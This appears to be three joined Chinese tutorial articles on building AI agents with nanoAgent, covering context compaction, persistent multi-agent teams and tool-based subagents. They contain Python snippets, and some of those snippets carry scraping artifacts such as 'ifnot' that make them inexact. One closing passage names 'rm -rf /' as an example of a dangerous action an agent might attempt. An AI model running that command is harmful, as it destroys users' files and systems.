工具的返回结果]第 3 轮: messages += [LLM的回复, 工具的返回结果]...假设一个任务需要 Agent 调用 15 次工具(对于"找到所有 Python 文件、统计行数、排序、写入报告"这样的任务完全正常),messages 就会累积到 30+ 条,其中每条工具返回结果可能包含几百行的命令输出。而任何 LLM 的 context window 都是有限的。不管是几万 tokens 还是几十万 tokens,只要 Agent 读几个大文件(每个几千行)、执行几次 grep 返回大量结果、再来几轮工具调用——窗口就会被迅速填满。尤其是本地部署的小模型,context window 往往只有几千 tokens,几轮循环就会触顶。★ 你可能会想:"现在的模型 context window 越来越大了,还需要压缩吗?" 需要。窗口变大只是推迟了问题,没有消除问题。而且更长的上下文意味着更高的 token 费用、更慢的响应速度、以及 LLM 在超长文本中"迷失重点"的风险(即 lost in the middle 问题)。当 messages 超过 context window,API 直接报错:context_length_exceeded。Agent 挂了,任务半途而废。二、能不能不压缩?在看解决方案之前,先想想有没有其他出路:方案 A:用更大 context window 的模型。 能缓解,但不能根治。窗口再大,Agent 读几个大文件、跑几次搜索也会填满。而且更大的窗口意味着更高的 token 费用、更慢的响应速度、以及 LLM 在超长文本中丢失重点的风险。方案 B:限制最大循环次数。 第一篇中的 max_iterations=5 就是这个思路。但这只是把问题从"撑爆"变成了"做不完"——复杂任务就是需要很多轮。方案 C:截断工具返回结果。 比如 bash 命令输出超过 1000 字符就截断。能减缓增长速度,但治标不治本,而且截断可能丢失关键信息。方案 D:压缩旧的对话历史。 把早期的详细对话压缩成一段摘要,只保留要点。Agent 继续工作时,靠摘要"回忆"之前做了什么,靠最近几条消息保持当前操作的精确上下文。方案 D 就是上下文压缩(Context Compaction)。它不需要换模型,不限制能力,不丢失关键信息——用 LLM 自己来总结自己的历史,然后轻装上阵继续干活。三、压缩的原理:一张图看懂压缩前的 messages(30 条,快爆了):┌────────┐│ system │ ← 永远保留├────────┤│ user │ ← 最初的任务│ assist │ ← LLM 调用了 bash│ tool │ ← bash 输出了 200 行文件列表│ assist │ ← LLM 调用了 read_file│ tool │ ← 文件内容 500 行 ─┐│ assist │ ← LLM 决定统计行数 ││ tool │ ← 统计结果 │ 这些旧消息│ assist │ ← LLM 调用了 grep │ 交给 LLM 做摘要│ tool │ ← grep 结果 300 行 ││ ... │ ← 更多历史 ─┘│ assist │ ← LLM 准备写文件 ─┐│ tool │ ← 写入成功 │ 最近 6 条│ assist │ ← LLM 调用 read 验证 │ 保留原样│ tool │ ← 文件内容 │ (不压缩)│ assist │ ← LLM 准备做最后总结 ││ user │ ← 当前操作 ─┘└────────┘ ↓ compact_messages() ↓压缩后的 messages(9 条,清爽了):┌────────┐│ system │ ← 永远保留(不动)├────────┤│ user │ ← "之前的对话摘要:找到了 42 个 Python 文件,│ │ 统计了行数,最长的是 utils.py (350行)..."│ assist │ ← "明白了,我继续。"├────────┤│ assist │ ← LLM 准备写文件 ─┐│ tool │ ← 写入成功 │ 最近 6 条│ assist │ ← LLM 调用 read 验证 │ 完整保留│ tool │ ← 文件内容 ││ assist │ ← LLM 准备做最后总结 ││ user │ ← 当前操作 ─┘└────────┘核心思想就一句话:记住要点,忘掉细节,保留现场。四、代码实现:只有一个函数整个压缩逻辑只有一个函数 compact_messages(),约 30 行:COMPACT_THRESHOLD = 20 # 超过 20 条就压缩KEEP_RECENT = 6 # 保留最近 6 条不压缩def compact_messages(messages): if len(messages) <= COMPACT_THRESHOLD: return messages # 没超阈值,不压缩 system_msg = messages[0] # system prompt 永远保留 old_messages = messages[1:-KEEP_RECENT] # 旧消息 → 要被压缩 recent_messages = messages[-KEEP_RECENT:] # 最近的消息 → 保留原样 # 把旧消息拼成文本 old_text = "" for msg in old_messages: role = msg.get("role", "unknown") if isinstance(msg, dict) else getattr(msg, "role", "unknown") content = msg.get("content", "") if isinstance(msg, dict) else getattr(msg, "content", "") if content: old_text += f"[{role}]: {content}\n" # 调用 LLM 生成摘要 summary_response = client.chat.completions.create( model=MODEL, messages=[ {"role": "system", "content": "Summarize the following conversation history. Keep all important facts, file paths, command results, and decisions. Be concise but don't lose critical details."}, {"role": "user", "content": old_text} ] ) summary = summary_response.choices[0].message.content # 重新组装 return [ system_msg, {"role": "user", "content": f"[Previous conversation summary]: {summary}"}, {"role": "assistant", "content": "Understood. I have the context from our previous conversation. Let me continue."}, *recent_messages ]4.1 分三刀system_msg = messages[0] # 第一刀:切出 system promptold_messages = messages[1:-KEEP_RECENT] # 第二刀:切出旧消息(要压缩的)recent_messages = messages[-KEEP_RECENT:] # 第三刀:切出最近消息(要保留的)为什么 system prompt 要单独保留?因为它包含 Agent 的核心指令,压缩进摘要会丢失"你是谁、你能做什么"的基础设定。为什么最近 N 条不压缩?因为 Agent 当前正在进行的操作需要精确的上下文——比如上一条工具返回的文件内容、正在写入的文件路径。这些信息一旦被压缩成摘要,LLM 就无法精确引用了。4.2 用 LLM 做摘要summary_response = client.chat.completions.create( model=MODEL, messages=[ {"role": "system", "content": "Summarize... Keep all important facts..."}, {"role": "user", "content": old_text} ])这里有一个"套娃"——用 LLM 来压缩 LLM 的对话历史。这不是浪费吗?不是。因为这次 LLM 调用的唯一任务就是"总结",不带工具,输出简短,token 开销远小于把完整历史塞进每次请求。4.3 在循环中调用Agent 核心循环里只加了一行:def run_agent(user_message, max_iterations=30): messages = [...] for i in range(max_iterations): messages = compact_messages(messages) # ← 就这一行 response = client.chat.completions.create(...) ...每轮循环开始前检查一次。没超阈值就原样返回(零开销),超了就压缩。简洁到几乎不存在。五、压缩过程的实际观察以下是测试中观察到的 messages 数量变化(阈值设为 10):轮次 1: messages = 2 (system + user)轮次 2: messages = 4 (+ assistant + tool)轮次 3: messages = 6轮次 4: messages = 8轮次 5: messages = 10 ↓ 触发压缩!轮次 6: messages = 9 (system + 摘要 + ack + 最近6条)轮次 7: messages = 11 ↓ 再次触发压缩!轮次 8: messages = 9轮次 9: 任务完成messages 数量像锯齿波一样:涨到阈值 → 压缩回去 → 继续涨 → 再压缩。永远不会超过阈值太多,Agent 可以无限工作下去。六、压缩会丢信息吗?会。但关键是丢的是细节,不是要点。比如原始历史中有:[tool]: $ find . -name "*.py" | head -20./src/utils.py./src/main.py./src/config.py./tests/test_utils.py./tests/test_main.py(省略 15 个文件)压缩后摘要可能变成:在当前目录下找到了 20 个 Python 文件,分布在 src/ 和 tests/ 两个目录中。20 个具体文件名丢了,但"有 20 个文件、在 src/ 和 tests/ 下"这个关键事实保留了。对于 Agent 后续的决策(比如"接下来统计行数"),这个摘要已经足够。如果某个细节真的还需要呢?Agent 可以再次调用工具去获取。这就像人类的工作方式——"我记得上周查过这个目录有 20 个 Python 文件,但具体哪些我忘了,让我再 ls 一下。"七、压缩方案的对比:nanoAgent vs 业界nanoAgent 的压缩是最朴素的实现。业界的方案更加精细: 但核心思路完全一致:旧的压缩,近的保留,要点不丢。八、系列回顾:六篇文章的完整拼图前五篇是在给 Agent "加能力",第六篇是在解决加完能力后的"副作用"。能力越强、工具越多、协作越复杂,对话历史就越长——而压缩确保了这一切不会让 Agent 自我窒息。如果把 Agent 比作一个人:第一篇给了他手脚(工具)第二篇给了他笔记本(记忆)和地图(规划)第三篇给了他规章制度和工具箱第四篇让他能叫临时工帮忙第五篇让他组建正式团队第六篇教他学会"抓大放小"——记住要点、忘掉细节、轻装上阵但前六篇一直在回答"Agent 能做什么",有一个同样重要的问题我们还没回答:"Agent 不能做什么?" 当 Agent 试图执行 rm -rf / 时,谁来踩刹车?这就是 第七篇:安全与权限控制 的主题:三道安全防线,让 Agent 从"裸奔"变成"有保险的"。本文基于 agent-compact.py(GitHub 源码[2])分析。完整系列:第一篇[3] → 第二篇[4] → 第三篇[5] → 第四篇[6] → 第五篇[7] → 第六篇(本文) → 第七篇 相关链接[1]nanoAgent: cid:link_6[2]GitHub 源码: cid:link_5[3]第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[4]第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[5]第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[6]第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiw[7]第五篇: https://mp.weixin.qq.com/s/N7zvu3ecI600nqg27L5thw AGENT交流群,一起玩转AGENT
-
欢迎阅读「从零开始理解 Agent」系列 —— 我们将从从一个极简开源项目 nanoAgent[1] 出发,逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排(本文)—— 270 行第六篇:上下文压缩—— 169 行第七篇:安全与权限控制 —— 219 行★ 项目地址:cid:link_5作者:十一上一篇我们实现了 SubAgent——主 Agent 可以临时派出一个"专家"来干活。但我们也明确定义了 SubAgent 的本质:一次性临时工,生成 → 干活 → 返回摘要 → 消亡,没有身份,没有记忆。这在很多场景下够用了。但想想现实中的软件开发团队:后端工程师写完 API 后,前端工程师需要知道接口长什么样;测试工程师发现 bug 后,需要告诉开发去修;开发修完后,测试还得再验一遍——同一个人,被多次找到,而且他还记得上次做了什么。SubAgent 做不到这些。每次调用都是一个全新的、失忆的临时工。那怎么办?答案是:从临时工升级为正式团队。★ 关于本篇代码的说明:和第四篇一样,本篇的 agent-teams.py 是我们新开发的文件(GitHub 源码[2]),不在 nanoAgent 原始仓库中。它在 agent-subagent.py 的基础上,用两个类(Agent + Team)实现了多智能体团队协作。一、临时工 vs 正式员工:差什么?要从临时工升级为正式团队,需要补齐三样东西:1. 能跨多轮对话存活的持久智能体 —— Agent 有记忆,被多次 chat() 调用时记得之前做过什么,不会像 SubAgent 那样每次都失忆2. 身份与生命周期管理 —— Agent 有名字、有角色,被创建(入职)、持续存活(干活)、最终解散(离职),而不是用完即弃3. 智能体之间的通信通道 —— Agent 之间可以互相发消息(点对点或广播),而不是彼此隔离、互相看不到接下来看代码怎么实现。二、核心实现:两个类搞定一切整个 agent-teams.py 只有 270 行,核心新增是两个类:Agent 和 Team。工具层(read/write/edit/bash)和 Agent 循环完全复用前几篇的代码。2.1 Agent 类:有状态的持久智能体先回忆 SubAgent 的实现——一个函数:# SubAgent(第四篇)—— 一个函数,用完就没def subagent(role, task): sub_messages = [...] # 局部变量,函数返回即消亡 for _ in range(10): ... return result # 返回后 sub_messages 被垃圾回收,一切归零现在看 Teams 中的 Agent——一个类:class Agent: def __init__(self, name, role): self.name = name # 身份:有名字 self.role = role # 身份:有角色 self.inbox = [] # 通信:收件箱 self.messages = [ # 记忆:持久保持 {"role": "system", "content": f"You are {name}, a {role}. Be concise and focused."} ]区别只有一个,但意义巨大:messages 从函数的局部变量变成了对象的实例属性。局部变量在函数返回后就被垃圾回收。实例属性只要对象还活着,就一直在。这意味着你可以对同一个 Agent 多次调用 chat(),每次的对话历史都会累积在 self.messages 中——Agent 记得之前做过什么。2.2 chat( ) 方法:带收件箱的 Agent 循环def chat(self, task): # 第 1 步:如果 inbox 有新消息,先读取并消化 if self.inbox: mail = "\n".join(f"[来自 {m['from']}]: {m['content']}"for m in self.inbox) self.messages.append({"role": "user", "content": f"你收到了团队成员的消息:\n{mail}"}) resp = client.chat.completions.create(model=MODEL, messages=self.messages) self.messages.append(resp.choices[0].message) self.inbox.clear() # 第 2 步:执行本次任务(和之前的 Agent 循环一样) self.messages.append({"role": "user", "content": task}) for _ in range(10): response = client.chat.completions.create(model=MODEL, messages=self.messages, tools=tools) message = response.choices[0].message self.messages.append(message) ifnot message.tool_calls: return message.content for tc in message.tool_calls: # ... 执行工具,追加结果(和第一篇完全一样)关键在第 1 步:每次 chat() 开始前,Agent 会先检查收件箱。如果有其他 Agent 发来的消息,就先读取、消化(让 LLM 处理一下),然后清空收件箱。这样 Agent 在执行任务时,已经知道了队友们的最新进展。2.3 receive() 方法:通信通道def receive(self, sender, message): self.inbox.append({"from": sender, "content": message})就这一行。往收件箱里追加一条消息。简单到不需要解释。三、Team 类:生命周期管理与通信编排class Team: def __init__(self): self.agents = {} # name → Agent def hire(self, name, role): """招募:创建一个持久 Agent""" agent = Agent(name, role) self.agents[name] = agent return agent def send(self, from_name, to_name, message): """点对点通信""" self.agents[to_name].receive(from_name, message) def broadcast(self, from_name, message): """广播:给团队所有其他人发消息""" for name, agent in self.agents.items(): if name != from_name: agent.receive(from_name, message) def disband(self): """解散:所有 Agent 生命周期结束""" self.agents.clear()四个方法,对应团队协作的四个动作:四、完整协作流程def run_team(task): team = Team() # 第 1 阶段:组建团队 members = plan_team(task) # LLM 自动拆分角色 for m in members: team.hire(m["name"], m["role"]) # 第 2 阶段:逐个执行,每人干完广播成果 for m in members: agent = team.agents[m["name"]] result = agent.chat(m["task"]) team.broadcast(m["name"], f"我完成了任务。摘要: {result[:200]}") # 第 3 阶段:最后一个成员做二次审查 reviewer = team.agents[members[-1]["name"]] review = reviewer.chat("请根据团队成果做最终审查") # 第 4 阶段:解散 team.disband()用一个具体例子来说明。假设输入 "创建一个 TODO 应用,包含 Python 后端和 HTML 前端":[PM] 分析任务,组建团队...[团队] 3 人: 1. alice — backend developer → 用 FastAPI 创建 TODO 后端 API 2. bob — frontend developer → 创建 HTML 前端页面 3. carol — test engineer → 验证前后端能正常工作============================================================ 第 1 阶段: 招募团队============================================================ [创建] alice (backend developer) [创建] bob (frontend developer) [创建] carol (test engineer)============================================================ 第 2 阶段: 协作开发============================================================── [1/3] alice 开始工作 ── [alice] write({"path": "app.py", ...}) [alice] → 已创建 app.py,包含 GET/POST/DELETE 三个接口... [广播] alice → 全体: 我完成了任务。摘要: 已创建 app.py...── [2/3] bob 开始工作 ── (bob 的 inbox 里有 alice 的广播,他知道后端接口长什么样) [bob] write({"path": "index.html", ...}) [bob] → 已创建 index.html,调用了 alice 定义的 API 接口... [广播] bob → 全体: 我完成了任务。摘要: 已创建 index.html...── [3/3] carol 开始工作 ── (carol 的 inbox 里有 alice 和 bob 的广播) [carol] read({"path": "app.py"}) [carol] read({"path": "index.html"}) [carol] bash({"command": "python -c 'import app; print(\"OK\")'"}) [carol] → 后端代码语法正确,前端页面已创建,接口调用地址匹配... [广播] carol → 全体: 我完成了任务。摘要: 验证通过...============================================================ 第 3 阶段: carol 做最终审查============================================================ (carol 被第二次调用 chat(),她还记得第一次测试的结果) [carol] → 最终审查:后端 app.py 包含 3 个接口(GET/POST/DELETE), 前端 index.html 已正确引用后端地址,代码验证通过,可以交付。 注意 carol 被调用了两次 chat() :第一次做测试,第二次做审查。第二次时她还记得第一次做了什么——这就是"持久记忆"的价值。SubAgent 做不到这一点,因为每次调用都是一个全新的、失忆的函数。五、三大核心能力的代码对照回到开头提出的三个要求,逐一对照:能力 1:能跨多轮对话存活的持久智能体# SubAgent:局部变量,函数返回即消亡def subagent(role, task): sub_messages = [...] # 🔴 生命周期 = 这个函数调用 ... return result # sub_messages 被回收# Teams Agent:实例属性,对象存活就一直在class Agent: def __init__(self, ...): self.messages = [...] # 🟢 生命周期 = Agent 对象的生命周期 def chat(self, task): self.messages.append(...) # 每次调用都往同一个列表里追加 ... # 第 1 次 chat():messages = [system, user1, assistant1] # 第 2 次 chat():messages = [system, user1, assistant1, user2, assistant2] # Agent 在第 2 次时能看到第 1 次的全部历史能力 2:身份与生命周期管理team = Team()# 入职:Agent 被创建,开始存活alice = team.hire("alice", "backend developer")bob = team.hire("bob", "frontend developer")# 存活期间:可以多次交互alice.chat("创建后端 API")alice.chat("添加认证中间件") # alice 记得第一次创建的 API# 解散:所有 Agent 生命周期结束team.disband() # alice、bob 都消亡了能力 3:智能体之间的通信通道# 点对点:alice 告诉 bob 接口格式team.send("alice", "bob", "API 接口: GET /todos, POST /todos")# 广播:alice 告诉所有人team.broadcast("alice", "后端已完成,接口文档见 API.md")# bob 下次 chat() 时,会先读 inbox 中的消息bob.chat("创建前端页面") # bob 已经知道了 API 接口格式六、SubAgent vs Teams:什么时候用哪个?五篇文章,从一个 115 行的极简 Agent 出发,逐层叠加能力:从第四篇的 subagent() 函数到第五篇的 Agent 类,变化只有一个:messages 从局部变量变成了实例属性。但这一个变化,让 Agent 从"用完即弃的临时工"进化为了"有记忆、有身份、能协作的团队成员"。 这就是软件工程中最朴素的道理:数据放在哪里,决定了它的生命周期;生命周期决定了能力边界。但能力越强,副作用也越大——Agent 干的活越多、协作越复杂,messages 就越长。长到撑爆 LLM 的 context window 怎么办?在 第六篇:上下文压缩 中,我们用一个 30 行的函数来解决这个"自我窒息"问题。本文基于 agent-teams.py(GitHub 源码[2])分析。完整系列:第一篇[3] → 第二篇[4] → 第三篇[5] → 第四篇[6] → 第五篇(本文) → 第六篇相关链接[1] nanoAgent: cid:link_5[2] GitHub 源码: cid:link_4[3] 第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[4] 第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[5] 第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[6] 第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiwAGENT交流群,一起玩转AGENT
-
欢迎阅读「从零开始理解 Agent」系列 —— 我们将通过一个不到 300 行的开源项目 nanoAgent[1],逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP —— 265 行第四篇:最简 SubAgent 实现(本文)—— 新开发,192 行第五篇:多智能体协作与编排 —— 270 行第六篇:上下文压缩 —— 169 行第七篇:安全与权限控制—— 219 行 ★ 项目地址:cid:link_4作者:十一 前三篇,我们一路把 Agent 从"会用工具"进化到了"有记忆、会规划、能扩展"。但到目前为止,所有版本都有一个共同特点:永远只有一个 Agent 在干活。想象一下这个场景:你让 Agent "搭建一个博客系统,前端用 React,后端用 FastAPI,数据库用 SQLite"。一个 Agent 要同时精通前端、后端、数据库——它可以做到,但很容易顾此失彼,上下文越来越长,后面写前端的时候把前面后端的细节忘了。现实中我们怎么解决这类问题?找帮手,分工合作。这就是 SubAgent(子智能体)的核心思想:主 Agent 当项目经理,把子任务委派给拥有不同专业身份的 SubAgent,各管一块,互不干扰。★ 关于本篇代码的说明:前三篇分析的 agent.py、agent-plus.py、agent-claudecode.py 都来自 nanoAgent 原始仓库。本篇的 agent-subagent.py 是我们在 agent-claudecode.py 基础上新开发的文件(GitHub 源码[2]),专门用来演示 SubAgent 机制。你可能注意到它只有 192 行,反而比第三篇的 265 行更少了。这是刻意为之——为了让 SubAgent 的核心逻辑尽可能通俗易懂,我们去掉了 Plan(规划)功能,只保留基础工具 + 记忆 + SubAgent。少即是多:去掉 Plan 相关的全局变量、递归调用和特殊分支后,核心循环 run_agent 从 35 行简化到了 12 行,整个代码一目了然。一、一个生活类比秒懂 SubAgent之前(一个人干所有活): 老板 → "小张,你把前端后端数据库全搞定" 小张(一个人扛所有) - 写后端 API... - 写前端页面...(等等,后端那个接口叫啥来着?) - 建数据库表...(前端那个字段是什么格式?) 现在(项目经理 + 专人): 老板 → 项目经理(主 Agent) │ ├── "后端用 FastAPI" → 后端工程师(SubAgent A) ├── "前端用 React" → 前端工程师(SubAgent B) └── "验证能跑通" → 测试工程师(SubAgent C) 每个人只管自己的事,干完把结果交给项目经理汇总。但要注意一个关键点:这个类比不完全准确。现实中的员工有名字、有工位、有记忆,下次还能找他。SubAgent 不是这样的。 SubAgent 的生命周期是:生成 → 接收任务 → 干活(可以调用工具)→ 返回结果摘要 → 消亡一次性的。 没有持久身份,没有跨调用的记忆。主 Agent 第一次派出的"后端工程师"和第二次派出的"后端工程师"之间没有任何关联——它们是两个完全独立的、用完就扔的临时工。这个"用完即弃"的设计是刻意的:SubAgent 解决的是单次任务内的分工问题,不是长期协作问题。它的价值在于给子任务一个干净的上下文和专注的角色,而不是构建一个持久的团队。二、在代码里怎么实现?如果你读过前三篇,这个实现可能会让你惊讶——核心新增只有大约 30 行代码。为什么这么少?因为前三篇已经把所有基础设施搭好了:工具系统(第一篇)、Agent 循环(第一篇)、工具路由表(第一篇)、记忆(第二篇)。SubAgent 要做的,只是复用这些基础设施,再启动一个独立的 Agent 循环。(由于我们去掉了 Plan 功能来保持代码简洁,整个 agent-subagent.py 只有 192 行,核心循环干净到只有 12 行——这让 SubAgent 的逻辑完全没有噪音干扰。)2.1 新增一个工具定义还记得第一篇中的核心洞察吗?★LLM 本身不会执行任何代码。它只是根据工具说明书,输出一段结构化的 JSON。真正的执行发生在我们的 Python 代码里。SubAgent 也不例外。我们要做的第一步,就是写一份"工具说明书"告诉 LLM:"你有一个叫 subagent 的工具,可以指定角色和任务来委派子任务":{ "name": "subagent", "description": "Delegate a task to a specialized sub-agent with its own role and independent context.", "parameters": { "type": "object", "properties": { "role": {"type": "string", "description": "The sub-agent's specialty, e.g. 'Python backend developer'"}, "task": {"type": "string", "description": "The specific task to delegate"} }, "required": ["role", "task"] } }就这么一个 JSON。和 read、write、bash 等工具完全一样的格式——对 LLM 来说,subagent 就是"又一个工具",没有任何特殊之处。2.2 实现 subagent 函数def subagent(role, task): """启动一个独立的 Agent 循环,拥有专属角色和独立上下文""" print(f"\n[SubAgent:{role}] 开始: {task}") # 关键 1:独立的 messages,独立的 system prompt sub_messages = [ {"role": "system", "content": f"You are a {role}. Be concise and focused. Only do what is asked."}, {"role": "user", "content": task} ] # 关键 2:排除 subagent 自身,防止无限递归 sub_tools = [t for t in tools if t["function"]["name"] != "subagent"] # 关键 3:一个完整的 Agent 循环(和第一篇的核心循环一模一样) for _ in range(10): response = client.chat.completions.create( model=MODEL, messages=sub_messages, tools=sub_tools ) message = response.choices[0].message sub_messages.append(message) ifnot message.tool_calls: print(f"[SubAgent:{role}] 完成") return message.content for tc in message.tool_calls: fn = tc.function.name args = json.loads(tc.function.arguments) print(f" [SubAgent:{role}] {fn}({args})") result = available_functions[fn](**args "fn") sub_messages.append({"role": "tool", "tool_call_id": tc.id, "content": result}) return"SubAgent: max iterations reached"2.3 注册到路由表available_functions["subagent"] = subagent完了。就这些。三、等一下——代码里没有调用 subagent 的地方?如果你仔细看完整个代码,会发现一件"奇怪"的事:没有任何地方主动调用 subagent() 函数。没有 if task == "复杂任务": subagent(...),没有任何预编排逻辑。这正是 Agent 和传统程序的根本区别,也是贯穿这整个系列的核心设计思想。让我用一张图还原 subagent 被调用的完整链路:用户: "创建一个 TODO 应用,包含 Python 后端和 HTML 前端" │ ▼ 主 Agent 的 run_agent() 循环启动 │ ▼ (1) 代码把 messages + tools 列表发送给 LLM tools 列表里包含: [read, write, edit, glob, grep, bash, subagent] ^^^^^^^^ LLM 看到了这个工具 │ ▼ (2) LLM 分析任务,决定委派,返回: {"tool_calls": [{"function": {"name": "subagent", "arguments": {"role": "Python backend developer", "task": "用 FastAPI 创建..."}}}]} │ ▼ (3) 核心循环中的通用调度代码执行: fn = "subagent" args = {"role": "Python backend developer", "task": "..."} result = available_functions["subagent"](**args ""subagent"") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 走到了我们写的 subagent() 函数! │ ▼ (4) subagent() 内部启动一个全新的 Agent 循环 - 独立的 system prompt: "You are a Python backend developer." - 独立的 messages 列表 - 可以使用 read/write/edit/bash 等工具 - 循环结束后,返回结果文本 │ ▼ (5) 结果返回给主 Agent,主 Agent 可能继续派出前端 SubAgent...关键在第 (3) 步——available_functions["subagent"](**args ""subagent"") 这行代码。它和 available_functions["bash"](**args ""bash"") 走的是完全相同的调度路径。在核心循环眼里,subagent 和 bash 没有任何区别,都是"LLM 说要调用,那我就执行"。控制流在 LLM 手里,不在代码里。 代码只提供能力(注册工具),LLM 决定何时使用。四、三个关键设计决策4.1 为什么 SubAgent 要有独立的 messages?# 主 Agent 的 messages(可能已经很长了) messages = [system, user, assistant, tool, assistant, tool, ...] # SubAgent 创建全新的 messages(从零开始) sub_messages = [ {"role": "system", "content": f"You are a {role}. ..."}, {"role": "user", "content": task} ]还记得第二篇中的"短期记忆"概念吗?messages 列表就是 Agent 的短期记忆。如果 SubAgent 共享主 Agent 的 messages,它会看到所有历史——前端 SubAgent 会被后端的代码细节干扰,上下文越来越长,token 开销越来越大。独立的 messages 意味着:SubAgent 只知道自己的角色和任务,保持专注。而且这个 sub_messages 在函数返回后就被垃圾回收了——SubAgent 没有任何持久记忆,干完活就消亡,下次调用是一个全新的 SubAgent。4.2 为什么 SubAgent 有不同的 system prompt?# 主 Agent: 协调者 "You are an orchestrator agent. You can delegate to sub-agents..." # SubAgent: 专家 f"You are a {role}. Be concise and focused. Only do what is asked."第三篇中我们讲了 Rules——用声明式文件定制 Agent 的行为。SubAgent 的 system prompt 是同一个思路的极简版:通过不同的角色描述,让同一个 LLM 展现出不同的专业行为。当 role 是 "Python backend developer" 时,LLM 会倾向于用 FastAPI/Flask,写 RESTful 接口;当 role 是 "frontend developer" 时,LLM 会倾向于写 HTML/CSS/JavaScript。同一个模型,不同的人格。4.3 为什么要排除 subagent 工具?sub_tools = [t for t in tools if t["function"]["name"] != "subagent"]这和第三篇中 plan 工具排除自身是同样的思路——防止无限递归。如果 SubAgent 也能派出自己的 SubAgent,而那个 SubAgent 又派出自己的……就会无限嵌套下去。一行代码,一个过滤,问题解决。五、实际运行效果假设用户输入:python agent-subagent.py "创建一个简单的 TODO 应用,包含 Python 后端和 HTML 前端"终端输出大致如下:[Tool] subagent({"role": "Python backend developer", "task": "创建一个 FastAPI ..."}) ================================================== [SubAgent:Python backend developer] 开始: 创建一个 FastAPI 后端... ================================================== [SubAgent:Python backend developer] write({"path": "app.py", ...}) [SubAgent:Python backend developer] bash({"command": "pip install fastapi"}) [SubAgent:Python backend developer] 完成 [Tool] subagent({"role": "frontend developer", "task": "创建一个 HTML 前端..."}) ================================================== [SubAgent:frontend developer] 开始: 创建一个 HTML 前端... ================================================== [SubAgent:frontend developer] write({"path": "index.html", ...}) [SubAgent:frontend developer] 完成 已完成 TODO 应用的创建: - app.py: FastAPI 后端,包含 GET/POST/DELETE 接口 - index.html: 前端页面,包含添加和删除功能注意两个关键现象:主 Agent 自己一行代码都没写。 它只做了两件事:调用 subagent 委派后端任务,再调用 subagent 委派前端任务,最后汇总结果。两个 SubAgent 各管各的。 后端 SubAgent 在写 app.py 时,前端 SubAgent 还不存在。前端 SubAgent 启动时,有自己全新的上下文,不会被后端的细节干扰。六、SubAgent vs 之前的方案:什么时候用哪个?SubAgent 和 Plan 最大的区别:七、系列总结:从 115 行到完整 Agent 架构四篇文章,我们从零搭建了一个完整的 Agent 认知体系:┌───────────────────────────────────────────────────────┐ │ Agent 架构全景 │ │ │ │ ┌──────────────┐ 第四篇 (本文) │ │ │ SubAgent │ 多智能体协作 ── subagent() 工具 │ │ ├──────────────┤ 第三篇 │ │ │ Rules │ 行为约束层 ──── .agent/rules/ │ │ │ Skills │ 技能知识层 ──── .agent/skills/ │ │ │ MCP │ 工具扩展层 ──── .agent/mcp.json │ │ ├──────────────┤ 第二篇 │ │ │ Memory │ 持久记忆层 ──── agent_memory.md │ │ │ Planning │ 任务分解层 ──── create_plan() │ │ ├──────────────┤ 第一篇 │ │ │ LLM │ 推理决策层 ──── OpenAI API │ │ │ Tools │ 工具执行层 ──── bash/read/write │ │ │ Loop │ 核心循环层 ──── for + tool_calls │ │ └──────────────┘ │ └───────────────────────────────────────────────────────┘★ 注:前三个文件来自 nanoAgent 原始仓库[3]。第四个文件是本文新开发的(GitHub 源码),为了聚焦 SubAgent 核心逻辑,刻意去掉了 Plan 功能,因此行数反而比第三篇少。这不是倒退,而是做减法——用最干净的代码展示最核心的概念。四个维度叠加,就构成了 OpenClaw、Claude Code、Cursor Agent、Devin 等产品的完整架构。而贯穿整个系列的核心设计思想只有一个:一切能力都是"工具"。 读文件是工具,写文件是工具,搜索是工具,规划是工具(第三篇),甚至派出一个子智能体也是工具(本文)。LLM 通过统一的 Function Calling 协议按需调用它们,代码通过统一的路由表(available_functions)执行它们。 但 SubAgent 的"一次性"本质也带来了局限:它们之间无法通信,不记得上次做了什么,无法被多次调用。当任务需要真正的团队协作——你写完我来接、测出 bug 你去改、改完我再测——就需要把临时工升级为正式员工。 这就是第五篇:多智能体协作与编排的主题:用两个类(Agent + Team)实现持久记忆、身份管理和通信通道。本文基于 sanbuphy/nanoAgent 的架构扩展。完整系列:第一篇:底层原理 → 第二篇:记忆与规划 → 第三篇:Rules、Skills 与 MCP → 第四篇:SubAgent(本文) → 第五篇:多智能体协作 相关链接[1] nanoAgent: cid:link_4[2] GitHub 源码: cid:link_3[3] nanoAgent 原始仓库: cid:link_4 AGENT交流群,一起玩转AGENT
-
